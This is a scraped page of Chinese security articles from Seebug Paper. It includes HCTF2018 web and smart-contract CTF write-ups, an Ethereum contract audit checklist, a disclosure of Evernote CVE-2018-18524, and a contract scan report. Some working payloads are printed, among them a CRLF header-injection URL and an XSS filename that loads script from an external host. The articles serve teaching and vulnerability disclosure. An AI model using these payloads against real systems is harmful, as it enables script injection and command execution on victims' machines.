RSS Feed
更好更安全的互联网
  • HCTF2018 部分 web 题目 Writeup

    2018-11-16
    作者:LoRexxar'@知道创宇404实验室
    时间:2018年11月14日

    HCTF2018在出题的时候其实准备了一个特别好的web题目思路,可惜赛前智能合约花了太多时间和精力,没办法只能放弃了之前的web题,在运维比赛的过程中,我发现学弟出的一些题目其实很有意思值得思考。

    bottle

    bottle是小学弟@luo00出的题目,源码如下 https://github.com/Lou00/HCTF2018_Bottle

    整个站几乎只有一个功能就是有一个可控的任意跳转,然后根据题目功能可以判断是一道xss题目。其实技巧挺明确的,就是比较冷门,我第一次见是阿里先知的xss挑战赛。

    https://lorexxar.cn/2017/08/31/xss-ali/#05%E8%B7%B3%E8%BD%AC

    然后本题的思路主要来自于ph师傅的一篇分析 https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

    首先这个问题有意思的点在于挺多的,在原本的环境下,bottle有个特殊的鬼畜特性在于,他的header顺序是会变得...

    首先我们需要明白一个问题,在流量中,body和header是在一起的,在header的两个换行后内容会被自动识别为body

    所以在bottle.redirect(path)中存在location头注入,我们就可以通过传入两个换行来吧header挤到body中,这样就可以控制页面的返回了

    正常来说,直接注入script就可以了

    原文中说当端口小于80,firefox就会卡住,但我实际测试只有0端口会卡住,可能我环境不同

    这就是题目的原解,这里虽然加入了CSP,但其实没区别,由于bottle头随机的问题,当CSP随机到location下面时,就可以注入js了,但这样就成了一个随机的题目了,学弟想让别人注意到bottle特性而不是随便撞到,这里就设置了脚本定时重启,然后让头更随机一点儿。

    攻击者需要意识到这个问题然后不断提交才可以攻击成功,但可惜这种攻击方式就随机了,失去了ctf本身的乐趣,变得太无趣了。

    -----------下面开始脑洞时间,实际没有作用,不想看可以跳过----------------------

    尝试

    仔细思考了一下逻辑我开始想办法改进这题。当然,改进题目的基础必然是想办法减少随机性,所以一些讨论的基础都在于CSP头稳定在location之上。

    其实可以发现,CSP特别简单,最简单的self CSP

    self CSP最大的问题在于如果能找到一个self源内容可控的,那CSP就可以被绕过了。

    然后我发现,这个漏洞不是刚好就是可以控制页面内容吗,于是一个漏洞利用链想到了

    构造一个CLRF控制内容注入alert,然后构造CLRF,然后构造第二个CLRF注入script,然后src引入前面的链接。

    听起来非常完美的利用链。这其中也有几个小坑。

    首先构造一个alert

    这里想到现代浏览器对content-type可能有要求,所以直接头注入设置content-type为text/javascript

    然后尝试引入这个链接,然后需要注意二次urlencode,不然%0a%0d都会解开

    看上去很有道理,然后访问...然后失败...Orz,被CSP ban了

    仔细回想上面的流程,其实有个很重要的问题没有注意到,这个问题我也是第一次重视到。

    CSP和cookie的同源策略一样,不但对ip做限制,对端口也有限制。最过分的是,CSP在location头存在的时候,会跟入判断location

    也就意味着,我们试图引入http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert作为目标js引入,会被认为引入http://150.109.53.69:0这个来源的js,端口为0,self的端口为3000,所以被拦截了。

    而且值得注意的是,这里如果把CSP改为

    CSP中如果不设置端口,默认会认为是80端口。同样没办法绕过。

    经过了一番研究我发现这个端口判定没有别的解决办法,如果不用跳0的办法,正常的302是会跟随跳转过去的。

    无奈我修改题目把CSP改成了

    然后我开始继续上面的测试,果然,仍然失败了......这次报错不一样了,阻拦加载的并不是CSP。

    firefox的控制台显示script加载失败,仔细研究了一番突然意识到一个事情,是不是浏览器的不加载非200的静态资源

    于是我用flask简单写了一段代码测试了一下

    事实证明的确是这样的,浏览器在这块的安全性已经做的非常好了,这种奇怪的操作完全不成立...

    思考到最后,我忽然又意识到了一个问题,假设我把跳转那个页面生生改成200,然后去加载,有一个致命的利用问题。

    模拟出来的页面内容是这样的

    我没办法改变下面的内容,而js虽然是逐行渲染的,但遇到报错之后整块script都会阻止,不再继续加载了,然后我就又回到了最初的问题,我必须保证locaion是最后一行header才行...我违背了最初想要去除随机性的目的...

    最后没办法,还是将题目改回原样了,这里的思考过程挺有意思的,分享给大家,也感谢在试验过程中@Math1as给我出了很多主意。

    game

    game这道题是我的另一个小学弟@undifined出的题目,后来听他说起这个思路我觉得蛮有意思的,这里出成题目用了明文密码入库虽说是比较强行,但其实用来注其他信息还是不难的,是个很有趣的想法。

    第一次见到这种思路是在pwnhub上

    https://pwnhub.cn/questiondetail?id=3

    这题目当时是上传文件,然后后端展示的时候会有排序,通过不断上传就可以得到目标文件名字。

    这里也是一样,这里是一个近似于逻辑漏洞,站内只有两个功能:

    1. 打游戏获得积分
    2. 排行榜,可以根据不同的字段排行

    排行榜的数据都是实时的,而且整个部分没有任何的注入点,完全不能SQL注入,但由于可以根据不同的字段排行,所以order by后面的字段名可控,除了常规的id, username, sex, score以外,也可以更具password来排行,再加上数据库中密码是明文存取的(不是明文也可以,只是获得的是hash)

    知道了原理,我们就可以通过不断插入新的账号来逼近目标字符串,因为数据库排序和前面说的linux文件名排序是一样的,很有趣。

    想明白就可以直接写脚本跑起来


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/744/

    作者:Nanako | Categories:创宇智库安全研究 | Tags:
  • 以太坊智能合约审计 CheckList

    2018-11-13
    作者:知道创宇404区块链安全研究团队
    时间:2018年11月12日
    在以太坊合约审计checkList中,我将以太坊合约审计中遇到的问题分为5大种,包括编码规范问题、设计缺陷问题、编码安全问题、编码设计问题、编码问题隐患。其中涵盖了超过29种会出现以太坊智能合约审计过程中遇到的问题。帮助智能合约的开发者和安全工作者快速入门智能合约安全。本CheckList在完成过程中参考并整理兼容了各大区块链安全研究团队的研究成果,CheckList中如有不完善/错误的地方也欢迎大家提issue.

    以太坊智能合约审计CheckList 目录

    1、编码规范问题

    (1) 编译器版本

    合约代码中,应指定编译器版本。建议使用最新的编译器版本

    老版本的编译器可能会导致各种已知的安全问题,例如https://paper.seebug.org/631/#44-dividenddistributor

    v0.4.23更新了一个编译器漏洞,在这个版本中如果同时使用了两种构造函数,即

    会忽略其中的一个构造函数,该问题只影响v0.4.22

    v0.4.25修复了下面提到的未初始化存储指针问题。

    https://etherscan.io/solcbuginfo

    (2) 构造函数书写问题

    对应不同编译器版本应使用正确的构造函数,否则可能导致合约所有者变更

    在小于0.4.22版本的solidify编译器语法要求中,合约构造函数必须和合约名字相等, 名字受到大小写影响。如:

    在0.4.22版本以后,引入了constructor关键字作为构造函数声明,但不需要function

    如果没有按照对应的写法,构造函数就会被编译成一个普通函数,可以被任意人调用,会导致owner权限被窃取等更严重的后果。

    (3) 返回标准

    遵循ERC20规范,要求transfer、approve函数应返回bool值,需要添加返回值代码

    而transferFrom返回结果应该和transfer返回结果一致。

    (4) 事件标准

    遵循ERC20规范,要求transfer、approve函数触发相应的事件

    (5) 假充值问题

    转账函数中,对余额以及转账金额的判断,需要使用require函数抛出错误,否则会错误的判断为交易成功

    上述代码可能会导致假充值。

    正确代码如下:

    2、设计缺陷问题

    (1) approve授权函数条件竞争

    approve函数中应避免条件竞争。在修改allowance前,应先修改为0,再修改为_value。

    通过置0的方式,可以在一定程度上缓解条件竞争中产生的危害,合约管理人可以通过检查日志来判断是否有条件竞争情况的发生。

    上述代码就有可能导致条件竞争。

    应在approve中加入

    将allowance先改为0再改为对应数字

    (2) 循环Dos问题

    [1] 循环消耗问题

    在合约中,不推荐使用太大次的循环

    在以太坊中,每一笔交易都会消耗一定量的gas,而实际消耗量是由交易的复杂度决定的,循环次数越大,交易的复杂度越高,当超过允许的最大gas消耗量时,会导致交易失败。

    真实世界事件

    Simoleon (SIM) - https://paper.seebug.org/646/

    Pandemica - https://bcsec.org/index/detail/id/260/tag/2

    [2] 循环安全问题

    合约中,应尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击

    当用户需要同时向多个账户转账,我们需要对目标账户列表遍历转账,就有可能导致Dos攻击。

    遇到上述情况是,推荐使用withdrawFunds来让用户取回自己的代币,而不是发送给对应账户,可以在一定程序上减少危害。

    上述代码如果控制函数调用,那么就可以构造巨大循环消耗gas,造成Dos问题

    3、编码安全问题

    (1) 溢出问题

    [1] 算术溢出

    在调用加减乘除时,应使用safeMath库来替代,否则容易导致算数上下溢,造成不可避免的损失

    balances[msg.sender] - _value >= 0可以通过下溢来绕过判断。

    通常的修复方式都是使用openzeppelin-safeMath,但也可以通过对不同变量的判断来限制,但很难对乘法和指数做什么限制。

    正确的写法如下:

    真实世界事件

    Hexagon

    SMT/BEC

    [2] 铸币烧币溢出问题

    铸币函数中,应对totalSupply设置上限,避免因为算术溢出等漏洞导致恶意铸币增发

    上述代码中就未对totalSupply做限制,可能导致指数算数上溢。

    正确写法如下:

    真实世界事件

    (2) 重入漏洞

    call函数调用时,应该做严格的权限控制,或直接写死call调用的函数

    上面代码可以使用call注入转账,将大量合约代币递归转账而出。

    call注入可能导致代币窃取,权限绕过

    如delegatecall,在合约内必须调用其它合约时,可以使用关键字library,这样可以确保合约是无状态而且不可自毁的。通过强制设置合约为无状态可以一定程度上缓解储存环境的复杂性,防止攻击者通过修改状态来攻击合约。

    真实世界事件

    The Dao

    call注入

    (3) 权限控制

    合约中不同函数应设置合理的权限

    检查合约中各函数是否正确使用了public、private等关键词进行可见性修饰,检查合约是否正确定义并使用了modifier对关键函数进行访问限制,避免越权导致的问题。

    上述代码作为初始函数不应该为public。

    真实世界事件

    Parity Multi-sig bug 1

    Parity Multi-sig bug 2

    Rubixi

    (4) 重放攻击

    合约中如果涉及委托管理的需求,应注意验证的不可复用性,避免重放攻击

    在资产管理体系中,常有委托管理的情况,委托人将资产给受托人管理,委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。

    这里举例子为transferProxy函数,该函数用于当user1转token给user3,但没有eth来支付gasprice,所以委托user2代理支付,通过调用transferProxy来完成。

    这个函数的问题在于nonce值是可以预判的,其他变量不变的情况下,可以进行重放攻击,多次转账。

    漏洞来自于Defcon2018演讲议题

    Replay Attacks on Ethereum Smart Contracts
    Replay Attacks on Ethereum Smart Contracts pdf

    4、编码设计问题

    (1) 地址初始化问题

    涉及到地址的函数中,建议加入require(_to!=address(0))验证,有效避免用户误操作或未知错误导致的不必要的损失

    由于EVM在编译合约代码时初始化的地址为0,如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。

    这样的检查可以以最简单的方式避免未知错误、短地址攻击等问题的发生。

    (2) 判断函数问题

    及到条件判断的地方,使用require函数而不是assert函数,因为assert会导致剩余的gas全部消耗掉,而他们在其他方面的表现都是一致的

    值得注意的是,assert存在强制一致性,对于固定变量的检查来说,assert可以用于避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用。

    (3) 余额判断问题

    不要假设合约创建时余额为0,可以强制转账

    谨慎编写用于检查账户余额的不变量,因为攻击者可以强制发送wei到任何账户,即使fallback函数throw也不行。

    攻击者可以用1wei来创建合约,然后调用selfdestruct(victimAddress)来销毁,这样余额就会强制转移给目标,而且目标合约没有代码执行,无法阻止。

    值得注意的是,在打包过程中,攻击者可以通过条件竞争在合约创建前转账,这样在合约创建时余额就不为0.

    (4) 转账函数问题

    在完成交易时,默认情况下推荐使用transfer而不是send完成交易

    当transfer或者send函数的目标是合约时,会调用合约的fallback函数,但fallback函数执行失败时。

    transfer会抛出错误并自动回滚,而send会返回false,所以在使用send时需要判断返回类型,否则可能会导致转账失败但余额减少的情况。

    上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。

    (5) 代码外部调用设计问题

    对于外部合约优先使用pull而不是push

    在进行外部调用时,总会有意无意的失败,为了避免发生未知的损失,应该经可能的把对外的操作改为用户自己来取。 错误样例:

    当需要向某一方转账时,将转账改为定义withdraw函数,让用户自己来执行合约将余额取出,这样可以最大程度的避免未知的损失。

    范例代码:

    (6) 错误处理

    合约中涉及到call等在address底层操作的方法时,做好合理的错误处理

    这类操作如果遇到错误并不会抛出异常,而是会返回false并继续执行。

    上述代码没有校验send的返回值,如果msg.sender是合约账户,fallback调用失败时,send返回false。

    所以当使用上述方法时,需要对返回值做检查并做错误处理。

    https://paper.seebug.org/607/#4-unchecked-return-values-for-low-level-calls

    值得注意的一点是,作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True

    在调用这类函数之前,需要对地址的有效性做检查。

    (7) 弱随机数问题

    智能合约上随机数生成方式需要更多考量

    Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。

    上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。

    所以在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。

    这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。

    有一个很棒的实现代码是dice2win的随机数生成代码。

    hash-commit-reveal最大的问题在于服务端会在用户提交之后短暂的获得整个过程中的所有数据,如果恶意进行选择中止攻击,也在一定程度上破坏了公平性。详细分析见智能合约游戏之殇——Dice2win安全分析

    当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。

    真实世界事件

    Fomo3d薅羊毛

    Last Winner

    5、编码问题隐患

    (1) 语法特性问题

    在智能合约中小心整数除法的向下取整问题

    在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。

    该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。

    错误样例

    正确代码

    (2) 数据私密问题

    注意链上的所有数据都是公开的

    在合约中,所有的数据包括私有变量都是公开的,不可以将任何有私密性的数据储存在链上。

    (3) 数据可靠性

    合约中不应该让时间戳参与到代码中,容易受到矿工的干扰,应使用block.height等不变的数据

    uint someVariable = now + 1;

    if (now % 2 == 0) { // now可能被矿工控制

    }

    (4) gas消耗优化

    对于某些不涉及状态变化的函数和变量可以加constant来避免gas的消耗

    (5) 合约用户

    合约中,应尽量考虑交易目标为合约时的情况,避免因此产生的各种恶意利用

    上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。

    但当新的用户试图成为新的“王”时,当代码执行到require(currentLeader.send(highestBid));时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。

    (6) 日志记录

    关键事件应有Event记录,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能

    (7) 回调函数

    合约中定义Fallback函数,并使Fallback函数尽可能的简单

    Fallback会在合约执行发生问题时调用(如没有匹配的函数时),而且当调用send或者transfer函数时,只有2300gas 用于失败后fallback函数执行,2300 gas只允许执行一组字节码指令,需要谨慎编写,以免gas不够用。

    部分样例:

    (8) Owner权限问题

    避免owner权限过大

    部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

    关于owner权限问题,应该遵循几个要求: 1、合约创造后,任何人不能改变合约规则,包括规则参数大小等 2、只允许owner从合约中提取余额

    (9) 用户鉴权问题

    合约中不要使用tx.origin做鉴权

    tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。

    下面是一个范例:

    我们可以构造攻击合约

    当用户被欺骗调用攻击合约,则会直接绕过鉴权而转账成功,这里应使用msg.sender来做权限判断。

    https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

    (10) 条件竞争问题

    合约中尽量避免对交易顺序的依赖

    在智能合约中,经常容易出现对交易顺序的依赖,如占山为王规则、或最后一个赢家规则。都是对交易顺序有比较强的依赖的设计规则,但以太坊本身的底层规则是基于矿工利益最大法则,在一定程度的极限情况下,只要攻击者付出足够的代价,他就可以一定程度控制交易的顺序。开发者应避免这个问题。

    真实世界事件

    Fomo3d事件

    (11) 未初始化的储存指针

    避免在函数中初始化struct变量

    在solidity中允许一个特殊的数据结构为struct结构体,而函数内的局部变量默认使用storage或memory储存。

    而存在storage(存储器)和memory(内存)是两个不同的概念,solidity允许指针指向一个未初始化的引用,而未初始化的局部stroage会导致变量指向其他储存变量,导致变量覆盖,甚至其他更严重的后果。

    上面代码编译后,s.x和s.y会错误的指向ownner和a。

    攻击者在执行fake_foo之后,会将owner修改为自己。

    上述问题在最新版的0.4.25版本被修复。

    以太坊合约审计checkList审计系列报告

    REF


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/741/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • HCTF2018 智能合约两则 Writeup

    2018-11-13

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年11月12日

    这次比赛为了顺应潮流,HCTF出了3道智能合约的题目,其中1道是逆向,2道是智能合约的代码审计题目。

    ez2win是一份标准的合约代币,在一次审计的过程中我发现,如果某些私有函数没有加上private,可以导致任意转账,是个蛮有意思的问题,但也由于太简单,所以想给大家opcode,大家自己去逆,由于源码及其简单,逆向难度不会太大,但可惜没有一个人做出来,被迫放源码,再加上这题本来就简单,重放流量可以抄作业,有点儿可惜。

    bet2loss是我在审计dice2win类源码的时候发现的问题,但出题的时候犯傻了,在出题的时候想到如果有人想用薅羊毛的方式去拿flag也挺有意思的,所以故意留了transfer接口给大家,为了能让这个地方合理,我就把发奖也改用了transfer,结果把我预期的重放漏洞给修了...

    bet2loss这题在服务端用web3.py,客户端用metamask+web3.js完成,在开发过程中,还经历了metamask的一次大更新,写好的代码忽然就跑不了了,换了新的api接口...简直历经磨难。

    这次比赛出题效果不理想,没想到现在的智能合约大环境有这么差,在之前wctf大师赛的时候,duca出的一道智能合约题目超复杂,上百行的合约都被从opcode逆了出来,可这次没想到没人做得到,有点儿可惜。不管智能合约以后会不会成为热点,但就目前而言,合约的安全层面还处于比较浅显的级别,对于安全从业者来说,不断走在开发前面不是一件好事吗?

    下面的所有题目都布在ropsten上,其实是为了参赛者体验好一点儿,毕竟要涉及到看events和源码。有兴趣还可以去看。

    ez2win

    ez2win,除了漏洞点以外是一份超级标准的代币合约,加上一个单词,你也可以用这份合约去发行一份属于自己的合约代币。

    让我们来看看代码

    每个用户都会空投10 D2GBToken作为初始资金,合约里基本都是涉及到转账的函数,常用的转账函数是

    可见,transfer默认指定了msg.sender作为发信方,无法绕过。

    transferFrom触发转账首先需要用approvel授权,这是一个授权函数,只能转账授权额度,也不存在问题。

    唯一的问题就是

    在solidity中,未定义函数权限的,会被部署为public,那么这个原本的私有函数就可以被任意调用,直接调用_transfer从owner那里转账过来即可。

    bet2loss

    bet2loss是我在审计dice2win类源码的时候发现的问题,可惜出题失误了,这里主要讨论非预期解吧。

    我们来看看代码,这次附上带有注释版本的

    这是一个比较经典的赌博合约,用的是市面上比较受认可的hash-reveal-commit模式来验证随机数。在之前的dice2win分析中,我讨论过这个制度的合理性,除非选择终止,否则可以保证一定程度的公平。

    https://lorexxar.cn/2018/10/18/dice2win-safe/

    代码比较长,我在修改dice2win的时候还留了很多无用代码,可以不用太纠结。流程大致如下:

    1、在页面中点击下注

    2、后端生成随机数,然后签名,饭后commit, r, s, v

    3、回到前端,web3.js配合返回的数据,想meta发起交易,交易成功被打包之后向后台发送请求settlebet。

    4、后端收到请求之后对该commit做开奖

    5、开奖成功

    在这个过程中,用户得不到随机数,服务端也不能对随机数做修改,这就是现在比较常用的hash-reveal-commit随机数生成方案。

    整个流程逻辑比较严谨。但有一个我预留的问题,空投

    在游戏中,我设定了每位参赛玩家都会空投1000个D2GB,而且没有设置上限,如果注册10000个账号,然后转账给一个人,那么你就能获得相应的token,这个操作叫薅羊毛,曾经出过不少这样的事情。

    https://paper.seebug.org/646/

    这其中有些很有趣的操作,首先,如果你一次交易一次交易去跑,加上打包的时间,10000次基本上不可能。

    所以新建一个合约,然后通过合约来新建合约转账才有可能实现。

    这其中还有一个很有趣的问题,循环新建合约,在智能合约中是一个消耗gas很大的操作。如果一次交易耗费的gas过大,那么交易就会失败,它就不会被打包。

    简单的测试可以发现,大约50次循环左右gas刚好够用。攻击代码借用了@sissel的

    跑个200次就ok了


     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/740/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 印象笔记 Windows 客户端 6.15 本地文件读取和远程命令执行漏洞(CVE-2018-18524)

    2018-11-06
    作者: dawu@知道创宇404实验室
    时间: 2018/10/24
    English Version

    0x00 漏洞简介

    1. 印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。
    2. 由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。
    3. 印象笔记的展示模式是使用 NodeWebKit 实现的,通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。
    4. 经过各种尝试,最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。

    0x01 前言

    2018/09/20,我当时的同事@sebao告诉我印象笔记修复了他的 XSS 漏洞并登上了名人堂,碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例,就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中,我不仅发现原本的 XSS 修复方案存在漏洞、利用这个 XSS 漏洞实现了本地文件读取和远程命令执行,还通过分享笔记的功能实现了远程攻击。

    0x02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞

    @sebao 发现的储存型 XSS 漏洞的触发方式如下: 1. 在笔记中添加一张图片 2. 右键并将该图片更名为 " onclick="alert(1)">.jpg" 3. 双击打开该笔记并点击图片,成功弹框。

    经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了 ><" 等特殊字符,但有意思的是我在 6.14 版本下测试的 XSS 在 6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。

    0x03 演示模式下的 Nodejs 代码注入

    XSS 修复方案存在漏洞并不能算是一个很严重的安全问题,所以我决定深入挖掘一下其他的漏洞,比如本地文件读取或者远程命令执行。为了方便测试,我在 6.14 版本的客户端中将一张图片更名为 " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg 后,将客户端升级为最新版 6.15。

    我测试了一些特殊的 API,例如evernote.openAttachmentgoog.loadModuleFromUrl,但是没有显著的收获。所以我转换了思路,遍历 C:\\Program Files(x86)\Evernote\Evernote\ 目录下的所有文件。我发现印象笔记在 C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit 目录下存在 NodeWebKit,在演示的时候,印象笔记会调用这个 NodeWebKit

    一个更好的消息是我可以通过之前发现的储存型 XSS 在 NodeWebKit 中执行 Nodejs 代码。

    0x04 本地文件读取 和 远程命令执行的实现

    既然可以注入 Nodejs 代码,那就意味着我可以尝试使用 child_process 来执行任意命令。

    我尝试使用 require('child_process').exec,但是却报错了: Module name "child_process" has not been loaded yet for context

    这个错误并没有浇灭我刚发现 Nodejs 代码注入的激情,我在查阅各种资料尝试 解决/绕过 这个问题。最终,我发现了前人的足迹:How we exploited a remote code execution vulnerability in math.js

    根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:

    但是在尝试远程命令执行的时候,我遇到了一些问题。由于并不了解 Nodejs,所以我不知道为什么 NodeWebkit 中没有 ObjectArray,也不知道如何解决这个问题。我听取了文中的建议,尝试去理解 child_process的源码,并且查找 spawn_sync 相关的用法。

    最终,我从 window.process.env 中获取到 env 的内容,并使用 spawn_sync 成功地弹出了计算器。

    0x05 通过分享功能攻击其他用户

    在我实现了本地文件读取和本机命令执行后,黑哥提出了一个更高的要求:证明这个漏洞可以影响到其他用户。

    在注册了一个小号后,我尝试使用分享功能将 恶意笔记 分享给 ”他人“。

    我的小号将会在 工作空间 收到别人发来的消息。

    我的小号尝试演示这个笔记,被注入的 Nodejs 代码成功执行!

    0x06 感谢

    0x07 时间线

    2018/09/27,发现相关漏洞,攥写报告并发送至 security@evernote.com
    2018/09/27,官方确认漏洞
    2018/10/15,官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞,并将我的名字加入名人堂。
    2018/10/19,在和官方沟通后,自行申请CVE,编号为:CVE-2018-18524
    2018/11/05,Evernote 官方发布 正式版本 6.16.4,确认该漏洞被修复后公开漏洞细节。


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/736/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告

    2018-11-06
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年11月1日
    系列文章:

    一、简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,我们把超过10个问题点归结为开发者容易忽略的问题隐患,其中包括“语法特性”、“数据私密性”、“数据可靠性”、“gas消耗优化”、“合约用户”、“日志记录”、“回调函数”、“Owner权限”、“用户鉴权”、 “条件竞争”等,统一归类为“以太坊智能合约编码隐患”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台,目前已经集成了部分基于opcode的审计功能。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码隐患”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。

    这次我们提到的问题多数属于智能合约独有问题,与我们常见的各类代码不同,在编写智能合约代码时还需要考虑多种问题。

    1、语法特性

    在智能合约中小心整数除法的向下取整问题

    在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。

    该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。

    错误样例

    2、数据私密性

    在合约中,所有的数据都是公开的。包括私有变量等,不得将任何带有私密性的数据储存在链上。

    3、数据可靠性

    在合约中,许多开发者习惯用时间戳来做判断条件,例如

    now、block_timestamp会被矿工所控制,并不可靠。

    4、gas消耗优化

    在合约中,涉及到状态变化的代码会消耗更多的,为了经可能优化gas消耗,对于不涉及状态变化的变量应该加constant来限制

    5、合约用户

    合约中,交易目标可能为合约,因此可能会产生的各种恶意利用。

    上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。

    但当新的用户试图成为新的“王”时,当代码执行到require(currentLeader.send(highestBid));时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。

    6、日志记录

    当合约跑在链上之后,链上的一切数据都难以监控,对于一个健康的智能合约来说,记录合理的event,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能。

    7、回调函数

    fallback机制是基于智能合约的特殊性而存在的。对于智能合约来说,任何函数的执行都是通过交易来完成的,但函数的执行过程中可能会遇到各种各样的问题,在交易失败或者交易结束后,就会执行fallback来最后处理结果和返回。

    而在合约交易中,执行的每一个操作都会花费巨大的gas,如果gas不足,那么fallback函数也会执行失败。在evm中规定,交易失败时,只有2300gas用于执行fallback函数,而2300gas只允许执行一组字节码指令。一旦遇到极端情况,可能会因为gas不够用导致某种情况发生,导致未知的不可挽回的后果。

    例如

    8、Owner权限

    避免owner权限过大

    部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

    9、用户鉴权问题

    合约中不要使用tx.origin做鉴权

    tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。

    下面是一个范例:

    我们可以构造攻击合约

    当用户被欺骗调用攻击合约,则会直接绕过鉴权而转账成功,这里应使用msg.sender来做权限判断。

    https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

    10、条件竞争

    在智能合约中,经常容易出现对交易顺序的依赖,如占山为王规则、或最后一个赢家规则。都是对交易顺序有比较强的依赖的设计规则,但以太坊本身的底层规则是基于矿工利益最大法则,在一定程度的极限情况下,只要攻击者付出足够的代价,他就可以一定程度控制交易的顺序。开发者应避免这个问题。

    真实世界事件

    智能合约游戏之殇——类 Fomo3D 攻击分析

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约扫描功能规则,我们对全网的公开的共47305个合约代码进行了扫描。

    其中存在数据可靠问题的合约共2732个,
    存在int型变量gas优化问题的合约共18285个,
    存在string型变量gas优化问题的合约共194个,
    存在Owner权限过大或合约后门的合约共1194个,
    存在tx.origin 鉴权问题问题的合约共52个。

    1、数据可靠性

    截止2018年10月31日,我们发现了2732个存在数据可靠问题的合约代码,存在潜在的安全隐患。其中交易量最高的10个合约情况如下:

    2、gas消耗优化

